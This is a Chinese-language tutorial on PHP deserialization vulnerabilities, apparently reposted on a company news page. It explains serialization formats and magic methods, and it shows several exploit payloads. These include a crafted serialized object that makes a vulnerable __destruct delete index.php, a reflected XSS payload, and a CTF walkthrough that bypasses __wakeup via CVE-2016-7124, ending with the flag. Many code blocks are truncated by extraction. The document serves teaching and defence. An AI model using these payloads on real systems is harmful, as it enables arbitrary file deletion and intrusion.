新聞中心
本篇文章給大家?guī)砹岁P于php的相關知識,其中主要介紹了關于反序列化漏洞的相關問題,包括了PHP面向對象編程、序列化與反序列化、反序列化漏洞原理等等內(nèi)容,希望對大家有幫助。

推薦學習:《PHP視頻教程》
在面向對象的程序設計(Object-oriented programming,OOP)中,
對象是一個由信息及對信息進行處理的描述所組成的整體,是對現(xiàn)實世界的抽象。
類是一個共享相同結構和行為的對象的集合。每個類的定義都以關鍵字class開頭,后面跟著類的名字。
創(chuàng)建一個PHP類:
variable; } } //創(chuàng)建一個對象 $object = new TestClass(); //調(diào)用一個方法 $object->PrintVariable(); ?>
public、protected、private
PHP 對屬性或方法的訪問控制,是通過在前面添加關鍵字 public(公有),protected(受保護)或 private(私有)來實現(xiàn)的。
public(公有):公有的類成員可以在任何地方被訪問。
protected(受保護):受保護的類成員則可以被其自身以及其子類和父類訪問。
private(私有):私有的類成員則只能被其定義所在的類訪問。
注意:訪問控制修飾符不同,序列化后屬性的長度和屬性值會有所不同,如下所示:
public:屬性被序列化的時候屬性值會變成 屬性名
protected:屬性被序列化的時候屬性值會變成 \x00*\x00屬性名
private:屬性被序列化的時候屬性值會變成 \x00類名\x00屬性名
其中:\x00表示空字符,但是還是占用一個字符位置(空格),如下例
id = 'Hardworking666';
$this->gender = 'male';
$this->age = '18';
}}$a = new People();echo serialize($a);?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}
魔術方法(magic函數(shù))
PHP中把以兩個下劃線__開頭的方法稱為魔術方法(Magic methods)
PHP官方——魔術方法
PHP中16 個魔術方法詳解
類可能會包含一些特殊的函數(shù):magic函數(shù),這些函數(shù)在某些情況下會自動調(diào)用。
__construct() //類的構造函數(shù),創(chuàng)建對象時觸發(fā) __destruct() //類的析構函數(shù),對象被銷毀時觸發(fā) __call() //在對象上下文中調(diào)用不可訪問的方法時觸發(fā) __callStatic() //在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā) __get() //讀取不可訪問屬性的值時,這里的不可訪問包含私有屬性或未定義 __set() //在給不可訪問屬性賦值時觸發(fā) __isset() //當對不可訪問屬性調(diào)用 isset() 或 empty() 時觸發(fā) __unset() //在不可訪問的屬性上使用unset()時觸發(fā) __invoke() //當嘗試以調(diào)用函數(shù)的方式調(diào)用一個對象時觸發(fā) __sleep() //執(zhí)行serialize()時,先會調(diào)用這個方法 __wakeup() //執(zhí)行unserialize()時,先會調(diào)用這個方法 __toString() //當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候)自動調(diào)用
serialize() 函數(shù)會檢查類中是否存在一個魔術方法。如果存在,該方法會先被調(diào)用,然后才執(zhí)行序列化操作。
我們需要重點關注一下5個魔術方法,所以再強調(diào)一下:
__construct:構造函數(shù),當一個對象創(chuàng)建時調(diào)用
__destruct:析構函數(shù),當一個對象被銷毀時調(diào)用
__toString:當一個對象被當作一個字符串時使用
__sleep:在對象序列化的時候調(diào)用
__wakeup:對象重新醒來,即由二進制串重新組成一個對象的時候(在一個對象被反序列化時調(diào)用)
從序列化到反序列化這幾個函數(shù)的執(zhí)行過程是:
__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()
variable.'
'; } //構造函數(shù) public function __construct() { echo '__construct
'; } //析構函數(shù) public function __destruct() { echo '__destruct
'; } //當對象被當作一個字符串 public function __toString() { return '__toString
'; } } //創(chuàng)建一個對象 //__construct會被調(diào)用 $object = new TestClass(); //創(chuàng)建一個方法 //‘This is a string’將會被輸出 $object->PrintVariable(); //對象被當作一個字符串 //toString會被調(diào)用 echo $object; //php腳本要結束時,__destruct會被調(diào)用 ?>
輸出結果:
__construct This is a string __toString __destruct
__toString()這個魔術方法能觸發(fā)的因素太多,所以有必要列一下:
1. echo($obj)/print($obj)打印時會觸發(fā) 2. 反序列化對象與字符串連接時 3. 反序列化對象參與格式化字符串時 4. 反序列化對象與字符串進行==比較時(PHP進行==比較的時候會轉換參數(shù)類型) 5. 反序列化對象參與格式化SQL語句,綁定參數(shù)時 6. 反序列化對象在經(jīng)過php字符串處理函數(shù),如strlen()、strops()、strcmp()、addslashes()等 7. 在in_array()方法中,第一個參數(shù)時反序列化對象,第二個參數(shù)的數(shù)組中有__toString()返回的字符串的時候__toString()會被調(diào)用 8. 反序列化的對象作為class_exists()的參數(shù)的時候
魔術方法在反序列化攻擊中的作用
反序列化的入口在unserialize(),只要參數(shù)可控并且這個類在當前作用域存在,就能傳入任何已經(jīng)序列化的對象,而不是局限于出現(xiàn)unserialize()函數(shù)的類的對象。
如果只能局限于當前類,那攻擊面就太小了,而且反序列化其他類對象只能控制屬性,如果沒有完成反序列化后的代碼中調(diào)用其他類對象的方法,還是無法利用漏洞進行攻擊。
但是,利用魔術方法就可以擴大攻擊面,魔術方法是在該類序列化或者反序列化的同時自動完成的,這樣就可以利用反序列化中的對象屬性來操控一些能利用的函數(shù),達到攻擊的目的。
通過下例理解魔術方法在反序列漏洞中的作用,代碼如下:
二、PHP序列化和反序列化
PHP序列化
有時需要把一個對象在網(wǎng)絡上傳輸,為了方便傳輸,可以把整個對象轉化為二進制串,等到達另一端時,再還原為原來的對象,這個過程稱之為串行化(也叫序列化)。
json數(shù)據(jù)使用 , 分隔開,數(shù)據(jù)內(nèi)使用 : 分隔鍵和值
json數(shù)據(jù)其實就是個數(shù)組,這樣做的目的也是為了方便在前后端傳輸數(shù)據(jù),后端接受到json數(shù)據(jù),可以通過json_decode()得到原數(shù)據(jù),
這種將原本的數(shù)據(jù)通過某種手段進行"壓縮",并且按照一定的格式存儲的過程就可以稱之為序列化。
有兩種情況必須把對象序列化:
把一個對象在網(wǎng)絡中傳輸
把對象寫入文件或數(shù)據(jù)庫
相關概念可以參考我以前的文章:
Python序列化與反序列化詳解(包括json和json模塊詳解)
PHP序列化:把對象轉化為二進制的字符串,使用serialize()函數(shù)
PHP反序列化:把對象轉化的二進制字符串再轉化為對象,使用unserialize()函數(shù)
通過例子來看PHP序列化后的格式:
name.' is '.$this->age.' years old.
'; } // “.”表示字符串連接 } //創(chuàng)建一個對象 $usr = new User(); //設置數(shù)據(jù) $usr->age = 18; $usr->name = 'Hardworking666'; //輸出數(shù)據(jù) $usr->printdata(); //輸出序列化后的數(shù)據(jù) echo serialize($usr) ?>
輸出結果:
User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";} 就是對象user序列化后的形式。
“O”表示對象,“4”表示對象名長度為4,“User”為對象名,“2”表示有2個參數(shù)。
“{}”里面是參數(shù)的key和value,
“s”表示string對象,“3”表示長度,“age”則為key;“i”是interger(整數(shù))對象,“18”是value,后面同理。
序列化格式:
a - array 數(shù)組型 b - boolean 布爾型 d - double 浮點型 i - integer 整數(shù)型 o - common object 共同對象 r - objec reference 對象引用 s - non-escaped binary string 非轉義的二進制字符串 S - escaped binary string 轉義的二進制字符串 C - custom object 自定義對象 O - class 對象 N - null 空 R - pointer reference 指針引用 U - unicode string Unicode 編碼的字符串
PHP序列化需注意以下幾點:
1、序列化只序列屬性,不序列方法
2、因為序列化不序列方法,所以反序列化之后如果想正常使用這個對象的話我們必須要依托這個類要在當前作用域存在的條件
3、我們能控制的只有類的屬性,攻擊就是尋找合適能被控制的屬性,利用作用域本身存在的方法,基于屬性發(fā)動攻擊
PHP反序列化
對上例進行反序列化:
name.' is '.$this->age.' years old.
'; } } //重建對象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}'); //輸出數(shù)據(jù) $usr->printdata(); ?>
User Hardworking666 is 18 years old.
_sleep 方法在一個對象被序列化時調(diào)用,_wakeup方法在一個對象被反序列化時調(diào)用
variable.'
'; } public function __construct() { echo '__construct'.'
'; } public function __destruct() { echo '__destruct'.'
'; } public function __wakeup() { echo '__wakeup'.'
'; } public function __sleep() { echo '__sleep'.'
'; return array('variable','variable2'); }}//創(chuàng)建一個對象,回調(diào)用__construct$object = new test(); //序列化一個對象,會調(diào)用__sleep$serialized = serialize($object); //輸出序列化后的字符串print 'Serialized:'.$serialized.'
'; //重建對象,會調(diào)用__wakeup$object2 = unserialize($serialized); //調(diào)用printvariable,會輸出數(shù)據(jù)(變量反序列化后都要銷毀)$object2->printvariable(); //腳本結束,會調(diào)用__destruct?>
__construct
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:33:"變量反序列化后都要銷毀";s:9:"variable2";s:5:"OTHER";}__wakeup
變量反序列化后都要銷毀
__destruct
__destruct
從序列化到反序列化這幾個函數(shù)的執(zhí)行過程是:__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()
PHP為何要序列化和反序列化
PHP的序列化與反序列化其實是為了解決一個問題:PHP對象傳遞問題
PHP對象是存放在內(nèi)存的堆空間段上的,PHP文件在執(zhí)行結束的時候會將對象銷毀。
如果剛好要用到銷毀的對象,難道還要再寫一遍代碼?所以為了解決這個問題就有了PHP的序列化和反序列化
從上文可以發(fā)現(xiàn),我們可以把一個實例化的對象長久的存儲在計算機磁盤上,需要調(diào)用的時候只需反序列化出來即可使用。
三、PHP反序列化漏洞原理
序列化和反序列化本身沒有問題,
但是反序列化內(nèi)容用戶可控,
且后臺不正當?shù)氖褂昧薖HP中的魔法函數(shù),就會導致安全問題。
當傳給unserialize()的參數(shù)可控時,可以通過傳入一個精心構造的序列化字符串,從而控制對象內(nèi)部的變量甚至是函數(shù)。
調(diào)用__destruct刪除
存在漏洞的思路:一個類用于臨時將日志儲存進某個文件,當__destruct被調(diào)用時,日志文件將會被刪除:
//logdata.php';
file_put_contents($this->filename,$text,FILE_APPEND);
}
//destrcuctor 刪除日志文件
public function __destruct()
{
echo '__destruct deletes '.$this->filename.'file.
';
unlink(dirname(__FILE__).'/'.$this->filename);
}}?>
調(diào)用這個類:
name.' is'.$this->age.' years old.
'; }}//重建數(shù)據(jù)$usr = unserialize($_GET['usr_serialized']);?>
代碼$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那么可以構造輸入,刪除任意文件。
如構造輸入刪除目錄下的index.php文件:
filename = 'index.php'; echo serialize($object).'
'; ?>
上面展示了由于輸入可控造成的__destruct函數(shù)刪除任意文件,其實問題也可能存在于__wakeup、__sleep、__toString等其他magic函數(shù)。
比如,某用戶類定義了一個__toString,為了讓應用程序能夠將類作為一個字符串輸出(echo $object),而且其他類也可能定義了一個類允許__toString讀取某個文件。
XSS(跨站腳本攻擊)攻擊
XSS攻擊通常指的是通過利用網(wǎng)頁開發(fā)時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網(wǎng)頁,使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁程序。攻擊成功后,攻擊者可能得到包括但不限于更高的權限(如執(zhí)行一些操作)、私密網(wǎng)頁內(nèi)容、會話和cookie等各種內(nèi)容。
例如,皮卡丘靶場PHP反序列化漏洞
$html=";
if(isset($_POST['o'])){ $s = $_POST['o'];
if(!@$unser = unserialize($s)){ $html.="錯誤輸出
";
}else{ $html.="{$unser->test)
";
}
為了執(zhí)行,Payload:
O:1:"S":1:{s:4:"test";s:29:"";}
其他知識點:
unserialize漏洞依賴條件:
1、unserialize函數(shù)的參數(shù)可控
2、腳本中存在一個構造函數(shù)(__construct())、析構函數(shù)(__destruct())、__wakeup()函數(shù)中有向PHP文件中寫數(shù)據(jù)的操作類
3、所寫的內(nèi)容需要有對象中的成員變量的值
防范方法:
1、嚴格控制unserialize函數(shù)的參數(shù),堅持用戶所輸入的信息都是不可靠的原則
2、對于unserialize后的變量內(nèi)容進行檢查,以確定內(nèi)容沒有被污染
四、實例
PHP反序列化繞過__wakeup() CTF例題
攻防世界xctf web unserialize3
打開網(wǎng)址后的代碼:
class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=
已知在使用 unserialize() 反序列化時會先調(diào)用 __wakeup()函數(shù),
而本題的關鍵就是如何 繞過 __wakeup()函數(shù),就是 在反序列化的時候不調(diào)用它
當 序列化的字符串中的 屬性值 個數(shù) 大于 屬性個數(shù) 就會導致反序列化異常,從而繞過 __wakeup()
代碼中的__wakeup()方法如果使用就是和unserialize()反序列化函數(shù)結合使用的
這里沒有特別對哪個字符串序列化,所以把xctf類實例化后,進行反序列化。
我們利用php中的new運算符,實例化類xctf。
new 是申請空間的操作符,一般用于類。
比如定義了一個 class a{public i=0;}$c = new a(); 相當于定義了一個基于a類的對象,這時候 $c->i 就是0
構造序列化的代碼在編輯器內(nèi)執(zhí)行:
運行結果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化返回的字符串格式:
O::" ": :{ ... }
O:表示序列化的是對象:表示序列化的類名稱長度:表示序列化的類的名稱:表示被序列化的對象的屬性個數(shù):屬性名:屬性值
所以要修改屬性值,既把1改為2以上。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在url中輸入:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}
漏洞:__wakeup繞過(CVE-2016-7124)
CVE-2016-7124:當序列化字符串中表示對象屬性個數(shù)的值大于真實的屬性個數(shù)時會跳過__wakeup的執(zhí)行
官方給出的影響版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
本文題目:詳細解析PHP反序列化漏洞
文章分享:http://www.dlmjj.cn/article/cdhehds.html


咨詢
建站咨詢
